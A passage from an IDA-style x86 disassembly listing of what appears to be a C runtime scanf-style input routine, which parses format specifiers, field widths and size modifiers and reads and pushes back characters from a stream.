					; sub_41554C+1EFp ...
		dec	dword ptr [edx+4]
		js	short loc_415544
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_415544:				; CODE XREF: sub_415536+3j
		push	edx
		call	sub_417455
		pop	ecx
		retn
sub_415536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41554C	proc near		; CODE XREF: sub_412D93+2Ap

var_1D8		= word ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D3		= byte ptr -1D3h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_1C7		= byte ptr -1C7h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	1C8h
		push	offset stru_427878
		call	__SEH_prolog
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_28], eax
		and	[ebp+var_29], al
		mov	[ebp+var_30], eax
		mov	[ebp+var_34], eax


loc_41557A:				; CODE XREF: sub_41554C+88j
					; sub_41554C+A55j ...
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jz	loc_415FB9
		movzx	eax, al
		push	eax
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jz	short loc_4155D6
		dec	[ebp+var_30]


loc_415598:				; CODE XREF: sub_41554C+62j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	esi, eax
		push	esi
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jnz	short loc_415598
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4155C0
		push	[ebp+arg_0]
		push	esi
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_4155C0:				; CODE XREF: sub_41554C+67j
					; sub_41554C+86j
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jnz	short loc_4155C0
		jmp	short loc_41557A
; ---------------------------------------------------------------------------


loc_4155D6:				; CODE XREF: sub_41554C+47j
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	25h
		jnz	loc_415F35
		xor	edi, edi
		mov	[ebp+var_38], edi
		and	[ebp+var_39], 0
		mov	[ebp+var_40], edi
		mov	[ebp+var_44], edi
		mov	[ebp+var_48], edi
		and	[ebp+var_49], 0
		and	[ebp+var_4A], 0
		and	[ebp+var_4B], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_4D], 0
		and	[ebp+var_4E], 0
		mov	[ebp+var_4F], 1
		mov	[ebp+var_54], edi


loc_415613:				; CODE XREF: sub_41554C+186j
		inc	esi
		movzx	ebx, byte ptr [esi]
		movzx	eax, bl
		push	eax
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jz	short loc_415634
		inc	[ebp+var_44]
		lea	eax, [edi+edi*4]
		lea	edi, [ebx+eax*2-30h]
		jmp	loc_4156CE
; ---------------------------------------------------------------------------


loc_415634:				; CODE XREF: sub_41554C+D7j
		cmp	ebx, 4Eh
		jg	short loc_4156AC
		jz	loc_4156CE
		cmp	ebx, 2Ah
		jz	short loc_4156A7
		cmp	ebx, 46h
		jz	loc_4156CE
		cmp	ebx, 49h
		jz	short loc_41565C
		cmp	ebx, 4Ch
		jnz	short loc_4156BB
		inc	[ebp+var_4F]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_41565C:				; CODE XREF: sub_41554C+104j
		mov	cl, [esi+1]
		cmp	cl, 36h
		jnz	short loc_41567B
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_41567B
		mov	esi, eax
		inc	[ebp+var_54]
		and	[ebp+var_5C], 0
		and	[ebp+var_58], 0
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_41567B:				; CODE XREF: sub_41554C+116j
					; sub_41554C+11Ej
		cmp	cl, 33h
		jnz	short loc_41568C
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_41568C
		mov	esi, eax
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_41568C:				; CODE XREF: sub_41554C+132j
					; sub_41554C+13Aj
		cmp	cl, 64h
		jz	short loc_4156CE
		cmp	cl, 69h
		jz	short loc_4156CE
		cmp	cl, 6Fh
		jz	short loc_4156CE
		cmp	cl, 78h
		jz	short loc_4156CE
		cmp	cl, 58h
		jnz	short loc_4156BB
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156A7:				; CODE XREF: sub_41554C+F6j
		inc	[ebp+var_4B]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156AC:				; CODE XREF: sub_41554C+EBj
		cmp	ebx, 68h
		jz	short loc_4156C8
		cmp	ebx, 6Ch
		jz	short loc_4156C0
		cmp	ebx, 77h
		jz	short loc_4156C3


loc_4156BB:				; CODE XREF: sub_41554C+109j
					; sub_41554C+157j
		inc	[ebp+var_4C]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156C0:				; CODE XREF: sub_41554C+168j
		inc	[ebp+var_4F]


loc_4156C3:				; CODE XREF: sub_41554C+16Dj
		inc	[ebp+var_4E]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156C8:				; CODE XREF: sub_41554C+163j
		dec	[ebp+var_4F]
		dec	[ebp+var_4E]


loc_4156CE:				; CODE XREF: sub_41554C+E3j
					; sub_41554C+EDj ...
		cmp	[ebp+var_4C], 0
		jz	loc_415613
		mov	[ebp+var_48], edi
		mov	[ebp+arg_4], esi
		cmp	[ebp+var_4B], 0
		jnz	short loc_4156F8
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_60], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ebx, [eax-4]
		mov	[ebp+var_64], ebx
		jmp	short loc_4156FB
; ---------------------------------------------------------------------------


loc_4156F8:				; CODE XREF: sub_41554C+196j
		mov	ebx, [ebp+var_64]


loc_4156FB:				; CODE XREF: sub_41554C+1AAj
		and	[ebp+var_4C], 0
		cmp	[ebp+var_4E], 0
		jnz	short loc_415719
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_415715
		cmp	al, 43h
		jz	short loc_415715
		or	[ebp+var_4E], 0FFh
		jmp	short loc_415719
; ---------------------------------------------------------------------------


loc_415715:				; CODE XREF: sub_41554C+1BDj
					; sub_41554C+1C1j
		mov	[ebp+var_4E], 1


loc_415719:				; CODE XREF: sub_41554C+1B7j
					; sub_41554C+1C7j
		movzx	edi, byte ptr [esi]
		or	edi, 20h
		mov	[ebp+var_68], edi
		cmp	edi, 6Eh
		jz	short loc_415750
		cmp	edi, 63h
		jz	loc_4157B0
		cmp	edi, 7Bh
		jz	short loc_4157B0


loc_415735:				; CODE XREF: sub_41554C+1FFj
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	esi, eax
		push	esi
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jnz	short loc_415735
		mov	[ebp+var_28], esi


loc_415750:				; CODE XREF: sub_41554C+1D9j
		mov	esi, [ebp+arg_0]


loc_415753:				; CODE XREF: sub_41554C+274j
		mov	ecx, [ebp+var_44]
		test	ecx, ecx
		jz	short loc_415764
		cmp	[ebp+var_48], 0
		jz	loc_4159B9


loc_415764:				; CODE XREF: sub_41554C+20Cj
		cmp	edi, 6Fh
		jg	loc_415988
		jz	loc_415CFB
		cmp	edi, 63h
		jz	loc_415967
		cmp	edi, 64h
		jz	loc_415CFB
		jle	loc_4159AE
		cmp	edi, 67h
		jle	short loc_4157DA
		cmp	edi, 69h
		jz	short loc_4157C2
		cmp	edi, 6Eh
		jnz	loc_4159AE
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_4B], 0
		jz	loc_415F0D
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_4157B0:				; CODE XREF: sub_41554C+1DEj
					; sub_41554C+1E7j
		inc	[ebp+var_30]
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		call	sub_415536
		mov	[ebp+var_28], eax
		jmp	short loc_415753
; ---------------------------------------------------------------------------


loc_4157C2:				; CODE XREF: sub_41554C+247j
		push	64h
		pop	edi


loc_4157C5:				; CODE XREF: sub_41554C+457j
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	loc_415BF4
		mov	[ebp+var_4A], 1
		jmp	loc_415BF9
; ---------------------------------------------------------------------------


loc_4157DA:				; CODE XREF: sub_41554C+242j
		lea	esi, [ebp+var_1C8]
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_4157F6
		mov	[ebp+var_1C8], bl
		lea	esi, [ebp+var_1C7]
		jmp	short loc_4157FB
; ---------------------------------------------------------------------------


loc_4157F6:				; CODE XREF: sub_41554C+29Aj
		cmp	ebx, 2Bh
		jnz	short loc_415812


loc_4157FB:				; CODE XREF: sub_41554C+2A8j
		dec	[ebp+var_48]
		inc	[ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		jmp	short loc_415815
; ---------------------------------------------------------------------------


loc_415812:				; CODE XREF: sub_41554C+2ADj
		mov	edi, [ebp+arg_0]


loc_415815:				; CODE XREF: sub_41554C+2C4j
		cmp	[ebp+var_44], 0
		jz	short loc_415824
		cmp	[ebp+var_48], 15Dh
		jle	short loc_41584C


loc_415824:				; CODE XREF: sub_41554C+2CDj
		mov	[ebp+var_48], 15Dh
		jmp	short loc_41584C
; ---------------------------------------------------------------------------


loc_41582D:				; CODE XREF: sub_41554C+309j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_415857
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_41584C:				; CODE XREF: sub_41554C+2D6j
					; sub_41554C+2DFj
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_41582D


loc_415857:				; CODE XREF: sub_41554C+2E9j
		cmp	byte_42D090, bl
		jnz	short loc_4158A9
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4158A9
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	al, byte_42D090
		mov	[esi], al
		inc	esi
		jmp	short loc_41589B
; ---------------------------------------------------------------------------


loc_41587F:				; CODE XREF: sub_41554C+35Bj
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4158A9
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax


loc_41589B:				; CODE XREF: sub_41554C+331j
		push	ebx
		mov	[ebp+var_28], ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_41587F


loc_4158A9:				; CODE XREF: sub_41554C+311j
					; sub_41554C+31Bj ...
		cmp	[ebp+var_40], 0
		jz	short loc_41591E
		cmp	ebx, 65h
		jz	short loc_4158B9
		cmp	ebx, 45h
		jnz	short loc_41591E


loc_4158B9:				; CODE XREF: sub_41554C+366j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_41591E
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, 2Dh
		jnz	short loc_4158E0
		mov	[esi], al
		inc	esi
		jmp	short loc_4158E5
; ---------------------------------------------------------------------------


loc_4158E0:				; CODE XREF: sub_41554C+38Dj
		cmp	ebx, 2Bh
		jnz	short loc_415913


loc_4158E5:				; CODE XREF: sub_41554C+392j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jnz	short loc_415904
		and	[ebp+var_48], eax
		jmp	short loc_415913
; ---------------------------------------------------------------------------


loc_4158F4:				; CODE XREF: sub_41554C+3D0j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_41591E
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi


loc_415904:				; CODE XREF: sub_41554C+3A1j
		mov	edx, edi
		inc	[ebp+var_30]
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_415913:				; CODE XREF: sub_41554C+397j
					; sub_41554C+3A6j
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_4158F4


loc_41591E:				; CODE XREF: sub_41554C+361j
					; sub_41554C+36Bj ...
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41592F
		push	edi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_41592F:				; CODE XREF: sub_41554C+3D8j
		cmp	[ebp+var_40], 0
		jz	loc_415FB9
		cmp	[ebp+var_4B], 0
		jnz	loc_415F2D
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C8]
		push	eax
		push	[ebp+var_64]
		movsx	eax, [ebp+var_4F]
		dec	eax
		push	eax
		call	off_42CE20
		add	esp, 0Ch
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_415967:				; CODE XREF: sub_41554C+22Aj
		test	ecx, ecx
		jnz	short loc_415975
		mov	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_415975:				; CODE XREF: sub_41554C+41Dj
					; sub_41554C+44Aj
		cmp	[ebp+var_4E], 0
		jle	loc_415B00
		mov	[ebp+var_4D], 1
		jmp	loc_415B00
; ---------------------------------------------------------------------------


loc_415988:				; CODE XREF: sub_41554C+21Bj
		mov	eax, edi
		sub	eax, 70h
		jz	loc_415CF7
		sub	eax, 3
		jz	short loc_415975
		dec	eax
		dec	eax
		jz	loc_415CFB
		sub	eax, 3
		jz	loc_4157C5
		sub	eax, 3
		jz	short loc_4159DA


loc_4159AE:				; CODE XREF: sub_41554C+239j
					; sub_41554C+24Cj
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, [ebp+var_28]
		jz	short loc_4159C2


loc_4159B9:				; CODE XREF: sub_41554C+212j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jmp	loc_415F89
; ---------------------------------------------------------------------------


loc_4159C2:				; CODE XREF: sub_41554C+46Bj
		dec	[ebp+var_29]
		cmp	[ebp+var_4B], 0
		jnz	loc_415F2D
		mov	eax, [ebp+var_60]
		mov	[ebp+arg_8], eax
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_4159DA:				; CODE XREF: sub_41554C+460j
		cmp	[ebp+var_4E], 0
		jle	short loc_4159E4
		mov	[ebp+var_4D], 1


loc_4159E4:				; CODE XREF: sub_41554C+492j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		mov	[ebp+var_1CC], edi
		cmp	byte ptr [edi],	5Eh
		jnz	short loc_415A01
		inc	edi
		mov	[ebp+var_1CC], edi
		or	[ebp+var_49], 0FFh


loc_415A01:				; CODE XREF: sub_41554C+4A8j
		mov	ebx, [ebp+var_20]
		test	ebx, ebx
		jnz	short loc_415A59
		and	[ebp+ms_exc.disabled], ebx
		push	20h
		pop	eax
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_415A59
; ---------------------------------------------------------------------------


loc_415A21:				; DATA XREF: .rdata:stru_427878o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_415A25:				; DATA XREF: .rdata:stru_427878o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		push	20h
		call	sub_41344D
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_415A45
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_415FB9
; ---------------------------------------------------------------------------


loc_415A45:				; CODE XREF: sub_41554C+4EEj
		mov	[ebp+var_24], 1
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1CC]
		mov	ebx, [ebp+var_20]


loc_415A59:				; CODE XREF: sub_41554C+4BAj
					; sub_41554C+4D3j
		push	20h
		push	0
		push	ebx
		call	sub_41ADD0
		add	esp, 0Ch
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_415AE0
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_415AE0
		mov	dl, 5Dh
		inc	edi
		mov	byte ptr [ebx+0Bh], 20h
		jmp	short loc_415AE3
; ---------------------------------------------------------------------------


loc_415A7A:				; CODE XREF: sub_41554C+59Bj
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_415ACA
		test	dl, dl
		jz	short loc_415ACA
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_415ACA
		inc	edi
		cmp	dl, cl
		jnb	short loc_415A93
		mov	al, cl
		jmp	short loc_415A97
; ---------------------------------------------------------------------------


loc_415A93:				; CODE XREF: sub_41554C+541j
		mov	al, dl
		mov	dl, cl


loc_415A97:				; CODE XREF: sub_41554C+545j
		cmp	dl, al
		ja	short loc_415AC6
		movzx	esi, dl
		sub	al, dl
		inc	al
		movzx	eax, al
		mov	[ebp+var_1D0], eax


loc_415AAB:				; CODE XREF: sub_41554C+578j
		mov	eax, esi
		shr	eax, 3
		add	eax, ebx
		mov	ecx, esi
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl
		inc	esi
		dec	[ebp+var_1D0]
		jnz	short loc_415AAB


loc_415AC6:				; CODE XREF: sub_41554C+54Dj
		xor	dl, dl
		jmp	short loc_415AE3
; ---------------------------------------------------------------------------


loc_415ACA:				; CODE XREF: sub_41554C+531j
					; sub_41554C+535j ...
		mov	[ebp+var_39], al
		movzx	ecx, al
		mov	eax, ecx
		shr	eax, 3
		add	eax, ebx
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl


loc_415AE0:				; CODE XREF: sub_41554C+51Ej
					; sub_41554C+523j
		mov	dl, [ebp+var_39]


loc_415AE3:				; CODE XREF: sub_41554C+52Cj
					; sub_41554C+57Cj
		mov	al, [edi]
		cmp	al, 5Dh
		jnz	short loc_415A7A
		test	al, al
		jz	loc_415FB9
		mov	ebx, [ebp+var_64]
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_415AFD
		mov	[ebp+arg_4], edi


loc_415AFD:				; CODE XREF: sub_41554C+5ACj
		mov	edi, [ebp+var_68]


loc_415B00:				; CODE XREF: sub_41554C+42Dj
					; sub_41554C+437j
		mov	esi, ebx
		dec	[ebp+var_30]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_415B18
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415B18:				; CODE XREF: sub_41554C+5BDj
					; sub_41554C+754j ...
		cmp	[ebp+var_44], 0
		jz	short loc_415B2C
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	loc_415CBE


loc_415B2C:				; CODE XREF: sub_41554C+5D0j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	[ebp+var_28], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_415CAB
		cmp	edi, 63h
		jz	short loc_415B8C
		cmp	edi, 73h
		jnz	short loc_415B5C
		cmp	eax, 9
		jl	short loc_415B57
		cmp	eax, 0Dh
		jle	short loc_415B5C


loc_415B57:				; CODE XREF: sub_41554C+604j
		cmp	eax, 20h
		jnz	short loc_415B8C


loc_415B5C:				; CODE XREF: sub_41554C+5FFj
					; sub_41554C+609j
		cmp	edi, 7Bh
		jnz	loc_415CAB
		mov	ecx, eax
		and	ecx, 7
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		mov	edi, [ebp+var_20]
		movsx	ecx, byte ptr [ecx+edi]
		movsx	edi, [ebp+var_49]
		xor	ecx, edi
		test	edx, ecx
		jz	loc_415CAB
		mov	edi, [ebp+var_68]


loc_415B8C:				; CODE XREF: sub_41554C+5FAj
					; sub_41554C+60Ej
		cmp	[ebp+var_4B], 0
		jnz	loc_415CA5
		cmp	[ebp+var_4D], 0
		jz	loc_415C9A
		mov	[ebp+var_1D4], al
		movzx	eax, al
		mov	ecx, off_42CE30
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415BC7
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	[ebp+var_1D3], al


loc_415BC7:				; CODE XREF: sub_41554C+668j
		push	dword_42D08C
		lea	eax, [ebp+var_1D4]
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_41AD9B
		add	esp, 0Ch
		mov	ax, [ebp+var_1D8]
		mov	[ebx], ax
		inc	ebx
		inc	ebx
		jmp	loc_415C9D
; ---------------------------------------------------------------------------


loc_415BF4:				; CODE XREF: sub_41554C+27Fj
		cmp	ebx, 2Bh
		jnz	short loc_415C17


loc_415BF9:				; CODE XREF: sub_41554C+289j
		dec	[ebp+var_48]
		jnz	short loc_415C08
		test	ecx, ecx
		jz	short loc_415C08
		mov	[ebp+var_4C], 1
		jmp	short loc_415C17
; ---------------------------------------------------------------------------


loc_415C08:				; CODE XREF: sub_41554C+6B0j
					; sub_41554C+6B4j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_415C17:				; CODE XREF: sub_41554C+6ABj
					; sub_41554C+6BAj
		cmp	ebx, 30h
		jnz	loc_415D2C
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	bl, 78h
		jz	short loc_415C74
		cmp	bl, 58h
		jz	short loc_415C74
		mov	[ebp+var_40], 1
		cmp	edi, 78h
		jz	short loc_415C5B
		cmp	[ebp+var_44], 0
		jz	short loc_415C53
		dec	[ebp+var_48]
		jnz	short loc_415C53
		inc	[ebp+var_4C]


loc_415C53:				; CODE XREF: sub_41554C+6FDj
					; sub_41554C+702j
		push	6Fh


loc_415C55:				; CODE XREF: sub_41554C+74Cj
		pop	edi
		jmp	loc_415D2C
; ---------------------------------------------------------------------------


loc_415C5B:				; CODE XREF: sub_41554C+6F7j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415C6C
		push	esi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415C6C:				; CODE XREF: sub_41554C+715j
		push	30h
		pop	ebx
		jmp	loc_415D29
; ---------------------------------------------------------------------------


loc_415C74:				; CODE XREF: sub_41554C+6E6j
					; sub_41554C+6EBj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	[ebp+var_44], 0
		jz	short loc_415C96
		sub	[ebp+var_48], 2
		cmp	[ebp+var_48], 1
		jge	short loc_415C96
		inc	[ebp+var_4C]


loc_415C96:				; CODE XREF: sub_41554C+73Bj
					; sub_41554C+745j
		push	78h
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C9A:				; CODE XREF: sub_41554C+64Ej
		mov	[ebx], al
		inc	ebx


loc_415C9D:				; CODE XREF: sub_41554C+6A3j
		mov	[ebp+var_64], ebx
		jmp	loc_415B18
; ---------------------------------------------------------------------------


loc_415CA5:				; CODE XREF: sub_41554C+644j
		inc	esi
		jmp	loc_415B18
; ---------------------------------------------------------------------------


loc_415CAB:				; CODE XREF: sub_41554C+5F1j
					; sub_41554C+613j ...
		dec	[ebp+var_30]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415CBE
		push	[ebp+arg_0]
		push	eax
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415CBE:				; CODE XREF: sub_41554C+5DAj
					; sub_41554C+765j
		cmp	esi, ebx
		jz	loc_415FB9
		cmp	[ebp+var_4B], 0
		jnz	loc_415F2D
		inc	[ebp+var_34]
		cmp	[ebp+var_68], 63h
		jz	loc_415F2D
		mov	eax, [ebp+var_64]
		cmp	[ebp+var_4D], 0
		jz	short loc_415CEF
		and	word ptr [eax],	0
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_415CEF:				; CODE XREF: sub_41554C+798j
		and	byte ptr [eax],	0
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_415CF7:				; CODE XREF: sub_41554C+441j
		mov	[ebp+var_4F], 1


loc_415CFB:				; CODE XREF: sub_41554C+221j
					; sub_41554C+233j ...
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_415D09
		mov	[ebp+var_4A], 1
		jmp	short loc_415D0E
; ---------------------------------------------------------------------------


loc_415D09:				; CODE XREF: sub_41554C+7B5j
		cmp	ebx, 2Bh
		jnz	short loc_415D2C


loc_415D0E:				; CODE XREF: sub_41554C+7BBj
		dec	[ebp+var_48]
		jnz	short loc_415D1D
		test	ecx, ecx
		jz	short loc_415D1D
		mov	[ebp+var_4C], 1
		jmp	short loc_415D2C
; ---------------------------------------------------------------------------


loc_415D1D:				; CODE XREF: sub_41554C+7C5j
					; sub_41554C+7C9j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax


loc_415D29:				; CODE XREF: sub_41554C+723j
		mov	[ebp+var_28], ebx


loc_415D2C:				; CODE XREF: sub_41554C+6CEj
					; sub_41554C+70Aj ...
		cmp	[ebp+var_54], 0
		jz	loc_415E31
		cmp	[ebp+var_4C], 0
		jnz	loc_415E0F


loc_415D40:				; CODE XREF: sub_41554C+8BAj
		cmp	edi, 78h
		jz	short loc_415D8B
		cmp	edi, 70h
		jz	short loc_415D8B
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jz	short loc_415DBC
		cmp	edi, 6Fh
		jnz	short loc_415D74
		cmp	ebx, 38h
		jge	short loc_415DBC
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 3
		shl	eax, 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	short loc_415DBF
; ---------------------------------------------------------------------------


loc_415D74:				; CODE XREF: sub_41554C+80Cj
		push	0
		push	0Ah
		push	[ebp+var_58]
		push	[ebp+var_5C]
		call	sub_4162D0
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], edx
		jmp	short loc_415DBF
; ---------------------------------------------------------------------------


loc_415D8B:				; CODE XREF: sub_41554C+7F7j
					; sub_41554C+7FCj
		push	ebx
		call	sub_41ABF6
		pop	ecx
		test	eax, eax
		jz	short loc_415DBC
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 4
		shl	eax, 4
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_415DBF
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_415DBF
; ---------------------------------------------------------------------------


loc_415DBC:				; CODE XREF: sub_41554C+807j
					; sub_41554C+811j ...
		inc	[ebp+var_4C]


loc_415DBF:				; CODE XREF: sub_41554C+826j
					; sub_41554C+83Dj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_415DF1
		inc	[ebp+var_40]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_5C], eax
		adc	[ebp+var_58], edx
		cmp	[ebp+var_44], 0
		jz	short loc_415DE3
		dec	[ebp+var_48]
		jnz	short loc_415DE3
		mov	[ebp+var_4C], 1
		jmp	short loc_415E02
; ---------------------------------------------------------------------------


loc_415DE3:				; CODE XREF: sub_41554C+88Aj
					; sub_41554C+88Fj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_415536
		mov	ebx, eax
		jmp	short loc_415E02
; ---------------------------------------------------------------------------


loc_415DF1:				; CODE XREF: sub_41554C+877j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_415E02
		push	esi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_415E02:				; CODE XREF: sub_41554C+895j
					; sub_41554C+8A3j ...
		cmp	[ebp+var_4C], 0
		jz	loc_415D40
		mov	[ebp+var_28], ebx


loc_415E0F:				; CODE XREF: sub_41554C+7EEj
		cmp	[ebp+var_4A], 0
		jz	loc_415EEB
		mov	eax, [ebp+var_5C]
		neg	eax
